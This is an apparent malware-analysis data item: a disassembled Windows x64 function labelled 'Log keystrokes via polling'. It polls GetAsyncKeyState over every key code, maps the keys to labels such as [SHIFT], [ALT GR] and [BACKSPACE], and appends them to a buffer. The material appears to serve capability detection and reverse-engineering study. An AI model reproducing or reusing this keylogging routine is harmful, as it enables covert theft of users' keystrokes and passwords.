Function at 0x140005a50
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x1f8
mov rax, qword [0x1400e0168]
xor rax, rsp
mov qword [rsp + 0x1e0], rax
mov byte [rsp + 0x20], 1
jmp 0x140005a80
movzx eax, byte [rsp + 0x20]
inc al
mov byte [rsp + 0x20], al
movzx eax, byte [rsp + 0x20]
cmp eax, 0xff
jge 0x14000630d
movzx eax, byte [rsp + 0x20]
mov ecx, eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov word [rsp + 0x24], ax
movsx eax, word [rsp + 0x24]
and eax, 1
test eax, eax
je 0x140006308
lea rdx, [0x1400ce772]
lea rcx, [rsp + 0x1c0]
call fcn.1400085d0
nop
movzx eax, byte [rsp + 0x20]
cmp eax, 1
jne 0x140005aea
lea rdx, str._LMOUSE_
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 2
jne 0x140005b0d
lea rdx, str._RMOUSE_
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 4
jne 0x140005b30
lea rdx, str._MMOUSE_
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0xd
jne 0x140005b53
lea rdx, str._RETURN__n
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0x10
je 0x140005b71
movzx eax, byte [rsp + 0x20]
cmp eax, 0x11
je 0x140005b71
movzx eax, byte [rsp + 0x20]
cmp eax, 0x12
jne 0x140005b8a
lea rdx, [0x1400ce773]
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0xa0
je 0x140005ba2
movzx eax, byte [rsp + 0x20]
cmp eax, 0xa1
jne 0x140005bbb
lea rdx, str._SHIFT_
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0xa2
je 0x140005bd3
movzx eax, byte [rsp + 0x20]
cmp eax, 0xa3
jne 0x140005bec
lea rdx, str._STRG_
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0xa4
jne 0x140005c11
lea rdx, str._ALT_
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0xa5
jne 0x140005c36
lea rdx, str._ALT_GR_
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 8
jne 0x140005c59
lea rdx, str._BACKSPACE_
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 9
jne 0x140005c7c
lea rdx, str._TAB_
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0x1b
jne 0x140005c9f
lea rdx, str._ESC_
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0x21
jne 0x140005cc2
lea rdx, str._PAGE_UP_
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0x22
jne 0x140005ce5
lea rdx, str._PAGE_DOWN_
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0x23
jne 0x140005d08
lea rdx, str._HOME_
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0x24
jne 0x140005d2b
lea rdx, str._POS1_
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0x25
jne 0x140005d4e
lea rdx, str._ARROW_LEFT_
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0x26
jne 0x140005d71
lea rdx, str._ARROW_UP_
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0x27
jne 0x140005d94
lea rdx, str._ARROW_RIGHT_
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0x28
jne 0x140005db7
lea rdx, str._ARROW_DOWN_
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0x2d
jne 0x140005dda
lea rdx, str._INS_
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0x2e
jne 0x140005dfd
lea rdx, str._DEL_
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0x41
jl 0x140005e11
movzx eax, byte [rsp + 0x20]
cmp eax, 0x5a
jle 0x140005e2f
movzx eax, byte [rsp + 0x20]
cmp eax, 0x30
jl 0x140005e25
movzx eax, byte [rsp + 0x20]
cmp eax, 0x39
jle 0x140005e2f
movzx eax, byte [rsp + 0x20]
cmp eax, 0x20
jne 0x140005e46
movzx edx, byte [rsp + 0x20]
lea rcx, [rsp + 0x1c0]
call fcn.140008430
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0x5b
je 0x140005e5a
movzx eax, byte [rsp + 0x20]
cmp eax, 0x5c
jne 0x140005e73
lea rdx, str._WIN_
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0x60
jl 0x140005f3b
movzx eax, byte [rsp + 0x20]
cmp eax, 0x69
jg 0x140005f3b
movzx eax, byte [rsp + 0x20]
sub eax, 0x60
mov edx, eax
lea rcx, [rsp + 0xe0]
call fcn.140003b10
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov r8, qword [rsp + 0x30]
lea rdx, str._NUM
lea rcx, [rsp + 0xc0]
call fcn.14000bbd0
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
lea r8, [0x1400ce804]
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0xa0]
call fcn.14000bc30
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x1c0]
call fcn.140008510
lea rcx, [rsp + 0xa0]
call fcn.1400084e0
nop
lea rcx, [rsp + 0xc0]
call fcn.1400084e0
nop
lea rcx, [rsp + 0xe0]
call fcn.1400084e0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0x6a
jne 0x140005f5e
lea rdx, [0x1400ce918]
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0x6b
jne 0x140005f81
lea rdx, str._NUM__
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0x6d
jne 0x140005fa4
lea rdx, [0x1400ce928]
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0x6e
jne 0x140005fc7
lea rdx, str._NUM___
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0x70
jl 0x14000608f
movzx eax, byte [rsp + 0x20]
cmp eax, 0x7b
jg 0x14000608f
movzx eax, byte [rsp + 0x20]
sub eax, 0x6f
mov edx, eax
lea rcx, [rsp + 0x140]
call fcn.140003b10
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
mov r8, qword [rsp + 0x58]
lea rdx, [0x1400ce844]
lea rcx, [rsp + 0x120]
call fcn.14000bbd0
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x68], rax
lea r8, [0x1400ce824]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x100]
call fcn.14000bc30
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x1c0]
call fcn.140008510
lea rcx, [rsp + 0x100]
call fcn.1400084e0
nop
lea rcx, [rsp + 0x120]
call fcn.1400084e0
nop
lea rcx, [rsp + 0x140]
call fcn.1400084e0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0x90
jne 0x1400060b4
lea rdx, str._NUM_
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0xc0
jne 0x1400060d9
lea rdx, str._OE_
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0xde
jne 0x1400060fe
lea rdx, str._AE_
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0xba
jne 0x140006123
lea rdx, str._UE_
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0xbb
jne 0x140006148
lea rdx, [0x1400ce85c]
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0xbc
jne 0x14000616d
lea rdx, [0x1400ce86c]
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0xbd
jne 0x140006192
lea rdx, [0x1400ce88c]
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0xbe
jne 0x1400061b7
lea rdx, [0x1400ce89c]
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0xbf
jne 0x1400061dc
lea rdx, [0x1400ce8ac]
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
cmp eax, 0xe2
jne 0x140006201
lea rdx, [0x1400ce8bc]
lea rcx, [rsp + 0x1c0]
call fcn.1400084b0
jmp 0x1400062bd
movzx eax, byte [rsp + 0x20]
mov edx, eax
lea rcx, [rsp + 0x1a0]
call fcn.140003b10
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x80], rax
mov r8, qword [rsp + 0x80]
lea rdx, str._KEY__
lea rcx, [rsp + 0x180]
call fcn.14000bbd0
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x90], rax
lea r8, [0x1400ce8dc]
mov rdx, qword [rsp + 0x90]
lea rcx, [rsp + 0x160]
call fcn.14000bc30
mov qword [rsp + 0x98], rax
mov rdx, qword [rsp + 0x98]
lea rcx, [rsp + 0x1c0]
call fcn.140008510
lea rcx, [rsp + 0x160]
call fcn.1400084e0
nop
lea rcx, [rsp + 0x180]
call fcn.1400084e0
nop
lea rcx, [rsp + 0x1a0]
call fcn.1400084e0
lea rdx, [0x1400ce776]
lea rcx, [rsp + 0x1c0]
call fcn.14000bc90
movzx eax, al
test eax, eax
je 0x1400062fb
lea rdx, [rsp + 0x1c0]
mov rcx, qword [rsp + 0x200]
call fcn.14000b6d0
mov rcx, qword [rsp + 0x200]
call fcn.1400079b0
nop
lea rcx, [rsp + 0x1c0]
call fcn.1400084e0
jmp 0x140005a75
mov rcx, qword [rsp + 0x1e0]
xor rcx, rsp
call fcn.140039d70
add rsp, 0x1f8
ret